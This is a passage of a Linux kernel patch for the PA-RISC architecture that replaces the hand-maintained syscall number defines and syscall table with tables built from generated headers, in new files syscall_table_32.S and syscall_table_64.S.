-#define __NR_msgget             (__NR_Linux + 190)
-#define __NR_msgctl             (__NR_Linux + 191)
-#define __NR_shmat              (__NR_Linux + 192)
-#define __NR_shmdt              (__NR_Linux + 193)
-#define __NR_shmget             (__NR_Linux + 194)
-#define __NR_shmctl             (__NR_Linux + 195)
-#define __NR_getpmsg            (__NR_Linux + 196) /* not used */
-#define __NR_putpmsg            (__NR_Linux + 197) /* not used */
-#define __NR_lstat64            (__NR_Linux + 198)
-#define __NR_truncate64         (__NR_Linux + 199)
-#define __NR_ftruncate64        (__NR_Linux + 200)
-#define __NR_getdents64         (__NR_Linux + 201)
-#define __NR_fcntl64            (__NR_Linux + 202)
-#define __NR_attrctl            (__NR_Linux + 203) /* not used */
-#define __NR_acl_get            (__NR_Linux + 204) /* not used */
-#define __NR_acl_set            (__NR_Linux + 205) /* not used */
-#define __NR_gettid             (__NR_Linux + 206)
-#define __NR_readahead          (__NR_Linux + 207)
-#define __NR_tkill              (__NR_Linux + 208)
-#define __NR_sendfile64         (__NR_Linux + 209)
-#define __NR_futex              (__NR_Linux + 210)
-#define __NR_sched_setaffinity  (__NR_Linux + 211)
-#define __NR_sched_getaffinity  (__NR_Linux + 212)
-#define __NR_set_thread_area    (__NR_Linux + 213) /* not used */
-#define __NR_get_thread_area    (__NR_Linux + 214) /* not used */
-#define __NR_io_setup           (__NR_Linux + 215)
-#define __NR_io_destroy         (__NR_Linux + 216)
-#define __NR_io_getevents       (__NR_Linux + 217)
-#define __NR_io_submit          (__NR_Linux + 218)
-#define __NR_io_cancel          (__NR_Linux + 219)
-#define __NR_alloc_hugepages    (__NR_Linux + 220) /* not used */
-#define __NR_free_hugepages     (__NR_Linux + 221) /* not used */
-#define __NR_exit_group         (__NR_Linux + 222)
-#define __NR_lookup_dcookie     (__NR_Linux + 223)
-#define __NR_epoll_create       (__NR_Linux + 224)
-#define __NR_epoll_ctl          (__NR_Linux + 225)
-#define __NR_epoll_wait         (__NR_Linux + 226)
-#define __NR_remap_file_pages   (__NR_Linux + 227)
-#define __NR_semtimedop         (__NR_Linux + 228)
-#define __NR_mq_open            (__NR_Linux + 229)
-#define __NR_mq_unlink          (__NR_Linux + 230)
-#define __NR_mq_timedsend       (__NR_Linux + 231)
-#define __NR_mq_timedreceive    (__NR_Linux + 232)
-#define __NR_mq_notify          (__NR_Linux + 233)
-#define __NR_mq_getsetattr      (__NR_Linux + 234)
-#define __NR_waitid		(__NR_Linux + 235)
-#define __NR_fadvise64_64	(__NR_Linux + 236)
-#define __NR_set_tid_address	(__NR_Linux + 237)
-#define __NR_setxattr		(__NR_Linux + 238)
-#define __NR_lsetxattr		(__NR_Linux + 239)
-#define __NR_fsetxattr		(__NR_Linux + 240)
-#define __NR_getxattr		(__NR_Linux + 241)
-#define __NR_lgetxattr		(__NR_Linux + 242)
-#define __NR_fgetxattr		(__NR_Linux + 243)
-#define __NR_listxattr		(__NR_Linux + 244)
-#define __NR_llistxattr		(__NR_Linux + 245)
-#define __NR_flistxattr		(__NR_Linux + 246)
-#define __NR_removexattr	(__NR_Linux + 247)
-#define __NR_lremovexattr	(__NR_Linux + 248)
-#define __NR_fremovexattr	(__NR_Linux + 249)
-#define __NR_timer_create	(__NR_Linux + 250)
-#define __NR_timer_settime	(__NR_Linux + 251)
-#define __NR_timer_gettime	(__NR_Linux + 252)
-#define __NR_timer_getoverrun	(__NR_Linux + 253)
-#define __NR_timer_delete	(__NR_Linux + 254)
-#define __NR_clock_settime	(__NR_Linux + 255)
-#define __NR_clock_gettime	(__NR_Linux + 256)
-#define __NR_clock_getres	(__NR_Linux + 257)
-#define __NR_clock_nanosleep	(__NR_Linux + 258)
-#define __NR_tgkill		(__NR_Linux + 259)
-#define __NR_mbind		(__NR_Linux + 260)
-#define __NR_get_mempolicy	(__NR_Linux + 261)
-#define __NR_set_mempolicy	(__NR_Linux + 262)
-#define __NR_vserver		(__NR_Linux + 263) /* not used */
-#define __NR_add_key		(__NR_Linux + 264)
-#define __NR_request_key	(__NR_Linux + 265)
-#define __NR_keyctl		(__NR_Linux + 266)
-#define __NR_ioprio_set		(__NR_Linux + 267)
-#define __NR_ioprio_get		(__NR_Linux + 268)
-#define __NR_inotify_init	(__NR_Linux + 269)
-#define __NR_inotify_add_watch	(__NR_Linux + 270)
-#define __NR_inotify_rm_watch	(__NR_Linux + 271)
-#define __NR_migrate_pages	(__NR_Linux + 272)
-#define __NR_pselect6		(__NR_Linux + 273)
-#define __NR_ppoll		(__NR_Linux + 274)
-#define __NR_openat		(__NR_Linux + 275)
-#define __NR_mkdirat		(__NR_Linux + 276)
-#define __NR_mknodat		(__NR_Linux + 277)
-#define __NR_fchownat		(__NR_Linux + 278)
-#define __NR_futimesat		(__NR_Linux + 279)
-#define __NR_fstatat64		(__NR_Linux + 280)
-#define __NR_unlinkat		(__NR_Linux + 281)
-#define __NR_renameat		(__NR_Linux + 282)
-#define __NR_linkat		(__NR_Linux + 283)
-#define __NR_symlinkat		(__NR_Linux + 284)
-#define __NR_readlinkat		(__NR_Linux + 285)
-#define __NR_fchmodat		(__NR_Linux + 286)
-#define __NR_faccessat		(__NR_Linux + 287)
-#define __NR_unshare		(__NR_Linux + 288)
-#define __NR_set_robust_list	(__NR_Linux + 289)
-#define __NR_get_robust_list	(__NR_Linux + 290)
-#define __NR_splice		(__NR_Linux + 291)
-#define __NR_sync_file_range	(__NR_Linux + 292)
-#define __NR_tee		(__NR_Linux + 293)
-#define __NR_vmsplice		(__NR_Linux + 294)
-#define __NR_move_pages		(__NR_Linux + 295)
-#define __NR_getcpu		(__NR_Linux + 296)
-#define __NR_epoll_pwait	(__NR_Linux + 297)
-#define __NR_statfs64		(__NR_Linux + 298)
-#define __NR_fstatfs64		(__NR_Linux + 299)
-#define __NR_kexec_load		(__NR_Linux + 300)
-#define __NR_utimensat		(__NR_Linux + 301)
-#define __NR_signalfd		(__NR_Linux + 302)
-#define __NR_timerfd		(__NR_Linux + 303) /* not used */
-#define __NR_eventfd		(__NR_Linux + 304)
-#define __NR_fallocate		(__NR_Linux + 305)
-#define __NR_timerfd_create	(__NR_Linux + 306)
-#define __NR_timerfd_settime	(__NR_Linux + 307)
-#define __NR_timerfd_gettime	(__NR_Linux + 308)
-#define __NR_signalfd4		(__NR_Linux + 309)
-#define __NR_eventfd2		(__NR_Linux + 310)
-#define __NR_epoll_create1	(__NR_Linux + 311)
-#define __NR_dup3		(__NR_Linux + 312)
-#define __NR_pipe2		(__NR_Linux + 313)
-#define __NR_inotify_init1	(__NR_Linux + 314)
-#define __NR_preadv		(__NR_Linux + 315)
-#define __NR_pwritev		(__NR_Linux + 316)
-#define __NR_rt_tgsigqueueinfo	(__NR_Linux + 317)
-#define __NR_perf_event_open	(__NR_Linux + 318)
-#define __NR_recvmmsg		(__NR_Linux + 319)
-#define __NR_accept4		(__NR_Linux + 320)
-#define __NR_prlimit64		(__NR_Linux + 321)
-#define __NR_fanotify_init	(__NR_Linux + 322)
-#define __NR_fanotify_mark	(__NR_Linux + 323)
-#define __NR_clock_adjtime	(__NR_Linux + 324)
-#define __NR_name_to_handle_at	(__NR_Linux + 325)
-#define __NR_open_by_handle_at	(__NR_Linux + 326)
-#define __NR_syncfs		(__NR_Linux + 327)
-#define __NR_setns		(__NR_Linux + 328)
-#define __NR_sendmmsg		(__NR_Linux + 329)
-#define __NR_process_vm_readv	(__NR_Linux + 330)
-#define __NR_process_vm_writev	(__NR_Linux + 331)
-#define __NR_kcmp		(__NR_Linux + 332)
-#define __NR_finit_module	(__NR_Linux + 333)
-#define __NR_sched_setattr	(__NR_Linux + 334)
-#define __NR_sched_getattr	(__NR_Linux + 335)
-#define __NR_utimes		(__NR_Linux + 336)
-#define __NR_renameat2		(__NR_Linux + 337)
-#define __NR_seccomp		(__NR_Linux + 338)
-#define __NR_getrandom		(__NR_Linux + 339)
-#define __NR_memfd_create	(__NR_Linux + 340)
-#define __NR_bpf		(__NR_Linux + 341)
-#define __NR_execveat		(__NR_Linux + 342)
-#define __NR_membarrier		(__NR_Linux + 343)
-#define __NR_userfaultfd	(__NR_Linux + 344)
-#define __NR_mlock2		(__NR_Linux + 345)
-#define __NR_copy_file_range	(__NR_Linux + 346)
-#define __NR_preadv2		(__NR_Linux + 347)
-#define __NR_pwritev2		(__NR_Linux + 348)
-#define __NR_statx		(__NR_Linux + 349)
-#define __NR_io_pgetevents	(__NR_Linux + 350)
-
-#define __NR_syscalls           (__NR_Linux + 351)
+#ifdef CONFIG_64BIT
+#include <asm/unistd_64.h>
+#else
+#include <asm/unistd_32.h>
+#endif
 
 #define LINUX_GATEWAY_ADDR      0x100
 
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f453997..ece76a5 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -923,20 +923,12 @@ ENTRY(lws_table)
 END(lws_table)
 	/* End of lws table */
 
-	.align 8
-ENTRY(sys_call_table)
-	.export sys_call_table,data
-#include "syscall_table.S"
-END(sys_call_table)
-
+#include "syscall_table_32.S"
 #ifdef CONFIG_64BIT
-	.align 8
-ENTRY(sys_call_table64)
 #define SYSCALL_TABLE_64BIT
-#include "syscall_table.S"
-END(sys_call_table64)
+#include "syscall_table_64.S"
 #endif
-
+	
 	/*
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
deleted file mode 100644
index fe3f2a4..0000000
--- a/arch/parisc/kernel/syscall_table.S
+++ /dev/null
@@ -1,459 +0,0 @@
-/*    System Call Table
- *
- *    Copyright (C) 1999-2004 Matthew Wilcox <willy at parisc-linux.org>
- *    Copyright (C) 2000-2001 John Marvin <jsm at parisc-linux.org>
- *    Copyright (C) 2000 Alan Modra <amodra at parisc-linux.org>
- *    Copyright (C) 2000-2003 Paul Bame <bame at parisc-linux.org>
- *    Copyright (C) 2000 Philipp Rumpf <prumpf with tux.org>
- *    Copyright (C) 2000 Michael Ang <mang with subcarrier.org>
- *    Copyright (C) 2000 David Huggins-Daines <dhd with pobox.org>
- *    Copyright (C) 2000 Grant Grundler <grundler at parisc-linux.org>
- *    Copyright (C) 2001 Richard Hirst <rhirst with parisc-linux.org>
- *    Copyright (C) 2001-2002 Ryan Bradetich <rbrad at parisc-linux.org>
- *    Copyright (C) 2001-2007 Helge Deller <deller at parisc-linux.org>
- *    Copyright (C) 2000-2001 Thomas Bogendoerfer <tsbogend at parisc-linux.org>
- *    Copyright (C) 2002 Randolph Chung <tausq with parisc-linux.org>
- *    Copyright (C) 2005-2006 Kyle McMartin <kyle at parisc-linux.org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
-/* Use ENTRY_SAME for 32-bit syscalls which are the same on wide and
- * narrow palinux.  Use ENTRY_DIFF for those where a 32-bit specific
- * implementation is required on wide palinux.  Use ENTRY_COMP where
- * the compatibility layer has a useful 32-bit implementation.
- */
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys32_##_name_
-#define ENTRY_UHOH(_name_) .dword sys32_##unimplemented
-#define ENTRY_OURS(_name_) .dword parisc_##_name_
-#define ENTRY_COMP(_name_) .dword compat_sys_##_name_
-#elif defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys_##_name_
-#define ENTRY_UHOH(_name_) .dword sys_##_name_
-#define ENTRY_OURS(_name_) .dword sys_##_name_
-#define ENTRY_COMP(_name_) .dword sys_##_name_
-#else
-#define ENTRY_SAME(_name_) .word sys_##_name_
-#define ENTRY_DIFF(_name_) .word sys_##_name_
-#define ENTRY_UHOH(_name_) .word sys_##_name_
-#define ENTRY_OURS(_name_) .word parisc_##_name_
-#define ENTRY_COMP(_name_) .word sys_##_name_
-#endif
-
-90:	ENTRY_SAME(restart_syscall)	/* 0 */
-91:	ENTRY_SAME(exit)
-	ENTRY_SAME(fork_wrapper)
-	ENTRY_SAME(read)
-	ENTRY_SAME(write)
-	ENTRY_COMP(open)		/* 5 */
-	ENTRY_SAME(close)
-	ENTRY_SAME(waitpid)
-	ENTRY_SAME(creat)
-	ENTRY_SAME(link)
-	ENTRY_SAME(unlink)		/* 10 */
-	ENTRY_COMP(execve)
-	ENTRY_SAME(chdir)
-	/* See comments in kernel/time.c!!! Maybe we don't need this? */
-	ENTRY_COMP(time)
-	ENTRY_SAME(mknod)
-	ENTRY_SAME(chmod)		/* 15 */
-	ENTRY_SAME(lchown)
-	ENTRY_SAME(socket)
-	/* struct stat is MAYBE identical wide and narrow ?? */
-	ENTRY_COMP(newstat)
-	ENTRY_COMP(lseek)
-	ENTRY_SAME(getpid)		/* 20 */
-	/* the 'void * data' parameter may need re-packing in wide */
-	ENTRY_COMP(mount)
-	/* concerned about struct sockaddr in wide/narrow */
-	/* ---> I think sockaddr is OK unless the compiler packs the struct */
-	/*      differently to align the char array */
-	ENTRY_SAME(bind)
-	ENTRY_SAME(setuid)
-	ENTRY_SAME(getuid)
-	ENTRY_COMP(stime)		/* 25 */
-	ENTRY_COMP(ptrace)
-	ENTRY_SAME(alarm)
-	/* see stat comment */
-	ENTRY_COMP(newfstat)
-	ENTRY_SAME(pause)
-	/* struct utimbuf uses time_t which might vary */
-	ENTRY_COMP(utime)		/* 30 */
-	/* struct sockaddr... */
-	ENTRY_SAME(connect)
-	ENTRY_SAME(listen)
-	ENTRY_SAME(access)
-	ENTRY_SAME(nice)
-	/* struct sockaddr... */
-	ENTRY_SAME(accept)		/* 35 */
-	ENTRY_SAME(sync)
-	ENTRY_SAME(kill)
-	ENTRY_SAME(rename)
-	ENTRY_SAME(mkdir)
-	ENTRY_SAME(rmdir)		/* 40 */
-	ENTRY_SAME(dup)
-	ENTRY_SAME(pipe)
-	ENTRY_COMP(times)
-	/* struct sockaddr... */
-	ENTRY_SAME(getsockname)
-	/* it seems possible brk() could return a >4G pointer... */
-	ENTRY_SAME(brk)			/* 45 */
-	ENTRY_SAME(setgid)
-	ENTRY_SAME(getgid)
-	ENTRY_SAME(signal)
-	ENTRY_SAME(geteuid)
-	ENTRY_SAME(getegid)		/* 50 */
-	ENTRY_SAME(acct)
-	ENTRY_SAME(umount)
-	/* struct sockaddr... */
-	ENTRY_SAME(getpeername)
-	ENTRY_COMP(ioctl)
-	ENTRY_COMP(fcntl)		/* 55 */
-	ENTRY_SAME(socketpair)
-	ENTRY_SAME(setpgid)
-	ENTRY_SAME(send)
-	ENTRY_SAME(newuname)
-	ENTRY_SAME(umask)		/* 60 */
-	ENTRY_SAME(chroot)
-	ENTRY_COMP(ustat)
-	ENTRY_SAME(dup2)
-	ENTRY_SAME(getppid)
-	ENTRY_SAME(getpgrp)		/* 65 */
-	ENTRY_SAME(setsid)
-	ENTRY_SAME(pivot_root)
-	/* I don't like this */
-	ENTRY_UHOH(sgetmask)
-	ENTRY_UHOH(ssetmask)
-	ENTRY_SAME(setreuid)		/* 70 */
-	ENTRY_SAME(setregid)
-	ENTRY_SAME(mincore)
-	ENTRY_COMP(sigpending)
-	ENTRY_SAME(sethostname)
-	/* Following 3 have linux-common-code structs containing longs -( */
-	ENTRY_COMP(setrlimit)		/* 75 */
-	ENTRY_COMP(getrlimit)
-	ENTRY_COMP(getrusage)
-	/* struct timeval and timezone are maybe?? consistent wide and narrow */
-	ENTRY_COMP(gettimeofday)
-	ENTRY_COMP(settimeofday)
-	ENTRY_SAME(getgroups)		/* 80 */
-	ENTRY_SAME(setgroups)
-	/* struct socketaddr... */
-	ENTRY_SAME(sendto)
-	ENTRY_SAME(symlink)
-	/* see stat comment */
-	ENTRY_COMP(newlstat)
-	ENTRY_SAME(readlink)		/* 85 */
-	ENTRY_SAME(ni_syscall)	/* was uselib */
-	ENTRY_SAME(swapon)
-	ENTRY_SAME(reboot)
-	ENTRY_SAME(mmap2)
-	ENTRY_SAME(mmap)		/* 90 */
-	ENTRY_SAME(munmap)
-	ENTRY_COMP(truncate)
-	ENTRY_COMP(ftruncate)
-	ENTRY_SAME(fchmod)
-	ENTRY_SAME(fchown)		/* 95 */
-	ENTRY_SAME(getpriority)
-	ENTRY_SAME(setpriority)
-	ENTRY_SAME(recv)
-	ENTRY_COMP(statfs)
-	ENTRY_COMP(fstatfs)		/* 100 */
-	ENTRY_SAME(stat64)
-	ENTRY_SAME(ni_syscall)	/* was socketcall */
-	ENTRY_SAME(syslog)
-	/* even though manpage says struct timeval contains longs, ours has
-	 * time_t and suseconds_t -- both of which are safe wide/narrow */
-	ENTRY_COMP(setitimer)
-	ENTRY_COMP(getitimer)		/* 105 */
-	ENTRY_SAME(capget)
-	ENTRY_SAME(capset)
-	ENTRY_OURS(pread64)
-	ENTRY_OURS(pwrite64)
-	ENTRY_SAME(getcwd)		/* 110 */
-	ENTRY_SAME(vhangup)
-	ENTRY_SAME(fstat64)
-	ENTRY_SAME(vfork_wrapper)
-	/* struct rusage contains longs... */
-	ENTRY_COMP(wait4)
-	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_COMP(sysinfo)
-	ENTRY_SAME(shutdown)
-	ENTRY_SAME(fsync)
-	ENTRY_SAME(madvise)
-	ENTRY_SAME(clone_wrapper)	/* 120 */
-	ENTRY_SAME(setdomainname)
-	ENTRY_COMP(sendfile)
-	/* struct sockaddr... */
-	ENTRY_SAME(recvfrom)
-	/* struct timex contains longs */
-	ENTRY_COMP(adjtimex)
-	ENTRY_SAME(mprotect)		/* 125 */
-	/* old_sigset_t forced to 32 bits.  Beware glibc sigset_t */
-	ENTRY_COMP(sigprocmask)
-	ENTRY_SAME(ni_syscall)	/* create_module */
-	ENTRY_SAME(init_module)
-	ENTRY_SAME(delete_module)
-	ENTRY_SAME(ni_syscall)		/* 130: get_kernel_syms */
-	/* time_t inside struct dqblk */
-	ENTRY_SAME(quotactl)
-	ENTRY_SAME(getpgid)
-	ENTRY_SAME(fchdir)
-	ENTRY_SAME(bdflush)
-	ENTRY_SAME(sysfs)		/* 135 */
-	ENTRY_OURS(personality)
-	ENTRY_SAME(ni_syscall)	/* for afs_syscall */
-	ENTRY_SAME(setfsuid)
-	ENTRY_SAME(setfsgid)
-	/* I think this might work */
-	ENTRY_SAME(llseek)		/* 140 */
-	ENTRY_COMP(getdents)
-	/* it is POSSIBLE that select will be OK because even though fd_set
-	 * contains longs, the macros and sizes are clever. */
-	ENTRY_COMP(select)
-	ENTRY_SAME(flock)
-	ENTRY_SAME(msync)
-	/* struct iovec contains pointers */
-	ENTRY_COMP(readv)		/* 145 */
-	ENTRY_COMP(writev)
-	ENTRY_SAME(getsid)
-	ENTRY_SAME(fdatasync)
-	/* struct __sysctl_args is a mess */
-	ENTRY_COMP(sysctl)
-	ENTRY_SAME(mlock)		/* 150 */
-	ENTRY_SAME(munlock)
-	ENTRY_SAME(mlockall)
-	ENTRY_SAME(munlockall)
-	/* struct sched_param is ok for now */
-	ENTRY_SAME(sched_setparam)
-	ENTRY_SAME(sched_getparam)	/* 155 */
-	ENTRY_SAME(sched_setscheduler)
-	ENTRY_SAME(sched_getscheduler)
-	ENTRY_SAME(sched_yield)
-	ENTRY_SAME(sched_get_priority_max)
-	ENTRY_SAME(sched_get_priority_min)	/* 160 */
-	ENTRY_COMP(sched_rr_get_interval)
-	ENTRY_COMP(nanosleep)
-	ENTRY_SAME(mremap)
-	ENTRY_SAME(setresuid)
-	ENTRY_SAME(getresuid)		/* 165 */
-	ENTRY_COMP(sigaltstack)
-	ENTRY_SAME(ni_syscall)		/* query_module */
-	ENTRY_SAME(poll)
-	/* structs contain pointers and an in_addr... */
-	ENTRY_SAME(ni_syscall)		/* was nfsservctl */
-	ENTRY_SAME(setresgid)		/* 170 */
-	ENTRY_SAME(getresgid)
-	ENTRY_SAME(prctl)
-	/* signals need a careful review */
-	ENTRY_SAME(rt_sigreturn_wrapper)
-	ENTRY_COMP(rt_sigaction)
-	ENTRY_COMP(rt_sigprocmask)	/* 175 */
-	ENTRY_COMP(rt_sigpending)
-	ENTRY_COMP(rt_sigtimedwait)
-	/* even though the struct siginfo_t is different, it appears like
-	 * all the paths use values which should be same wide and narrow.
-	 * Also the struct is padded to 128 bytes which means we don't have
-	 * to worry about faulting trying to copy in a larger 64-bit
-	 * struct from a 32-bit user-space app.
-	 */
-	ENTRY_COMP(rt_sigqueueinfo)
-	ENTRY_COMP(rt_sigsuspend)
-	ENTRY_SAME(chown)		/* 180 */
-	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
-	ENTRY_COMP(setsockopt)
-	ENTRY_COMP(getsockopt)
-	ENTRY_COMP(sendmsg)
-	ENTRY_COMP(recvmsg)
-	ENTRY_SAME(semop)		/* 185 */
-	ENTRY_SAME(semget)
-	ENTRY_COMP(semctl)
-	ENTRY_COMP(msgsnd)
-	ENTRY_COMP(msgrcv)
-	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_COMP(msgctl)
-	ENTRY_COMP(shmat)
-	ENTRY_SAME(shmdt)
-	ENTRY_SAME(shmget)
-	ENTRY_COMP(shmctl)		/* 195 */
-	ENTRY_SAME(ni_syscall)		/* streams1 */
-	ENTRY_SAME(ni_syscall)		/* streams2 */
-	ENTRY_SAME(lstat64)
-	ENTRY_OURS(truncate64)
-	ENTRY_OURS(ftruncate64)		/* 200 */
-	ENTRY_SAME(getdents64)
-	ENTRY_COMP(fcntl64)
-	ENTRY_SAME(ni_syscall)	/* attrctl -- dead */
-	ENTRY_SAME(ni_syscall)	/* acl_get -- dead */
-	ENTRY_SAME(ni_syscall)		/* 205 (acl_set -- dead) */
-	ENTRY_SAME(gettid)
-	ENTRY_OURS(readahead)
-	ENTRY_SAME(tkill)
-	ENTRY_COMP(sendfile64)
-	ENTRY_COMP(futex)		/* 210 */
-	ENTRY_COMP(sched_setaffinity)
-	ENTRY_COMP(sched_getaffinity)
-	ENTRY_SAME(ni_syscall)	/* set_thread_area */
-	ENTRY_SAME(ni_syscall)	/* get_thread_area */
-	ENTRY_COMP(io_setup)		/* 215 */
-	ENTRY_SAME(io_destroy)
-	ENTRY_COMP(io_getevents)
-	ENTRY_COMP(io_submit)
-	ENTRY_SAME(io_cancel)
-	ENTRY_SAME(ni_syscall)		/* 220: was alloc_hugepages */
-	ENTRY_SAME(ni_syscall)		/* was free_hugepages */
-	ENTRY_SAME(exit_group)
-	ENTRY_COMP(lookup_dcookie)
-	ENTRY_SAME(epoll_create)
-	ENTRY_SAME(epoll_ctl)		/* 225 */
-	ENTRY_SAME(epoll_wait)
- 	ENTRY_SAME(remap_file_pages)
-	ENTRY_COMP(semtimedop)
-	ENTRY_COMP(mq_open)
-	ENTRY_SAME(mq_unlink)		/* 230 */
-	ENTRY_COMP(mq_timedsend)
-	ENTRY_COMP(mq_timedreceive)
-	ENTRY_COMP(mq_notify)
-	ENTRY_COMP(mq_getsetattr)
-	ENTRY_COMP(waitid)		/* 235 */
-	ENTRY_OURS(fadvise64_64)
-	ENTRY_SAME(set_tid_address)
-	ENTRY_SAME(setxattr)
-	ENTRY_SAME(lsetxattr)
-	ENTRY_SAME(fsetxattr)		/* 240 */
-	ENTRY_SAME(getxattr)
-	ENTRY_SAME(lgetxattr)
-	ENTRY_SAME(fgetxattr)
-	ENTRY_SAME(listxattr)
-	ENTRY_SAME(llistxattr)		/* 245 */
-	ENTRY_SAME(flistxattr)
-	ENTRY_SAME(removexattr)
-	ENTRY_SAME(lremovexattr)
-	ENTRY_SAME(fremovexattr)
-	ENTRY_COMP(timer_create)	/* 250 */
-	ENTRY_COMP(timer_settime)
-	ENTRY_COMP(timer_gettime)
-	ENTRY_SAME(timer_getoverrun)
-	ENTRY_SAME(timer_delete)
-	ENTRY_COMP(clock_settime)	/* 255 */
-	ENTRY_COMP(clock_gettime)
-	ENTRY_COMP(clock_getres)
-	ENTRY_COMP(clock_nanosleep)
-	ENTRY_SAME(tgkill)
-	ENTRY_COMP(mbind)		/* 260 */
-	ENTRY_COMP(get_mempolicy)
-	ENTRY_COMP(set_mempolicy)
-	ENTRY_SAME(ni_syscall)	/* 263: reserved for vserver */
-	ENTRY_SAME(add_key)
-	ENTRY_SAME(request_key)		/* 265 */
-	ENTRY_COMP(keyctl)
-	ENTRY_SAME(ioprio_set)
-	ENTRY_SAME(ioprio_get)
-	ENTRY_SAME(inotify_init)
-	ENTRY_SAME(inotify_add_watch)	/* 270 */
-	ENTRY_SAME(inotify_rm_watch)
-	ENTRY_SAME(migrate_pages)
-	ENTRY_COMP(pselect6)
-	ENTRY_COMP(ppoll)
-	ENTRY_COMP(openat)		/* 275 */
-	ENTRY_SAME(mkdirat)
-	ENTRY_SAME(mknodat)
-	ENTRY_SAME(fchownat)
-	ENTRY_COMP(futimesat)
-	ENTRY_SAME(fstatat64)		/* 280 */
-	ENTRY_SAME(unlinkat)
-	ENTRY_SAME(renameat)
-	ENTRY_SAME(linkat)
-	ENTRY_SAME(symlinkat)
-	ENTRY_SAME(readlinkat)		/* 285 */
-	ENTRY_SAME(fchmodat)
-	ENTRY_SAME(faccessat)
-	ENTRY_SAME(unshare)
-	ENTRY_COMP(set_robust_list)
-	ENTRY_COMP(get_robust_list)	/* 290 */
-	ENTRY_SAME(splice)
-	ENTRY_OURS(sync_file_range)
-	ENTRY_SAME(tee)
-	ENTRY_COMP(vmsplice)
-	ENTRY_COMP(move_pages)		/* 295 */
-	ENTRY_SAME(getcpu)
-	ENTRY_COMP(epoll_pwait)
-	ENTRY_COMP(statfs64)
-	ENTRY_COMP(fstatfs64)
-	ENTRY_COMP(kexec_load)		/* 300 */
-	ENTRY_COMP(utimensat)
-	ENTRY_COMP(signalfd)
-	ENTRY_SAME(ni_syscall)		/* was timerfd */
-	ENTRY_SAME(eventfd)
-	ENTRY_OURS(fallocate)		/* 305 */
-	ENTRY_SAME(timerfd_create)
-	ENTRY_COMP(timerfd_settime)
-	ENTRY_COMP(timerfd_gettime)
-	ENTRY_COMP(signalfd4)
-	ENTRY_SAME(eventfd2)		/* 310 */
-	ENTRY_SAME(epoll_create1)
-	ENTRY_SAME(dup3)
-	ENTRY_SAME(pipe2)
-	ENTRY_SAME(inotify_init1)
-	ENTRY_COMP(preadv)		/* 315 */
-	ENTRY_COMP(pwritev)
-	ENTRY_COMP(rt_tgsigqueueinfo)
-	ENTRY_SAME(perf_event_open)
-	ENTRY_COMP(recvmmsg)
-	ENTRY_SAME(accept4)		/* 320 */
-	ENTRY_SAME(prlimit64)
-	ENTRY_SAME(fanotify_init)
-	ENTRY_DIFF(fanotify_mark)
-	ENTRY_COMP(clock_adjtime)
-	ENTRY_SAME(name_to_handle_at)	/* 325 */
-	ENTRY_COMP(open_by_handle_at)
-	ENTRY_SAME(syncfs)
-	ENTRY_SAME(setns)
-	ENTRY_COMP(sendmmsg)
-	ENTRY_COMP(process_vm_readv)	/* 330 */
-	ENTRY_COMP(process_vm_writev)
-	ENTRY_SAME(kcmp)
-	ENTRY_SAME(finit_module)
-	ENTRY_SAME(sched_setattr)
-	ENTRY_SAME(sched_getattr)	/* 335 */
-	ENTRY_COMP(utimes)
-	ENTRY_SAME(renameat2)
-	ENTRY_SAME(seccomp)
-	ENTRY_SAME(getrandom)
-	ENTRY_SAME(memfd_create)	/* 340 */
-	ENTRY_SAME(bpf)
-	ENTRY_COMP(execveat)
-	ENTRY_SAME(membarrier)
-	ENTRY_SAME(userfaultfd)
-	ENTRY_SAME(mlock2)		/* 345 */
-	ENTRY_SAME(copy_file_range)
-	ENTRY_COMP(preadv2)
-	ENTRY_COMP(pwritev2)
-	ENTRY_SAME(statx)
-	ENTRY_COMP(io_pgetevents)	/* 350 */
-
-
-.ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
-.error "size of syscall table does not fit value of __NR_Linux_syscalls"
-.endif
-
-#undef ENTRY_SAME
-#undef ENTRY_DIFF
-#undef ENTRY_UHOH
-#undef ENTRY_COMP
-#undef ENTRY_OURS
diff --git a/arch/parisc/kernel/syscall_table_32.S b/arch/parisc/kernel/syscall_table_32.S
new file mode 100644
index 0000000..6da0746
--- /dev/null
+++ b/arch/parisc/kernel/syscall_table_32.S
@@ -0,0 +1,11 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#include <linux/linkage.h>
+
+	.align 8
+ENTRY(sys_call_table)
+	.export sys_call_table,data
+#if !defined(CONFIG_64BIT)	
+#define __SYSCALL(nr, entry, nargs) .word entry
+#include <asm/syscall_table_32.h>
+#endif
+END(sys_call_table)
diff --git a/arch/parisc/kernel/syscall_table_64.S b/arch/parisc/kernel/syscall_table_64.S
new file mode 100644
index 0000000..896033c
--- /dev/null
+++ b/arch/parisc/kernel/syscall_table_64.S
@@ -0,0 +1,19 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#include <linux/linkage.h>
+
+	.align 8
+ENTRY(sys_call_table64)
+#if defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
+#define __SYSCALL(nr, entry, nargs) .dword entry
+#include <asm/syscall_table_64.h>
+#endif
+END(sys_call_table64)
+
+	.align 8
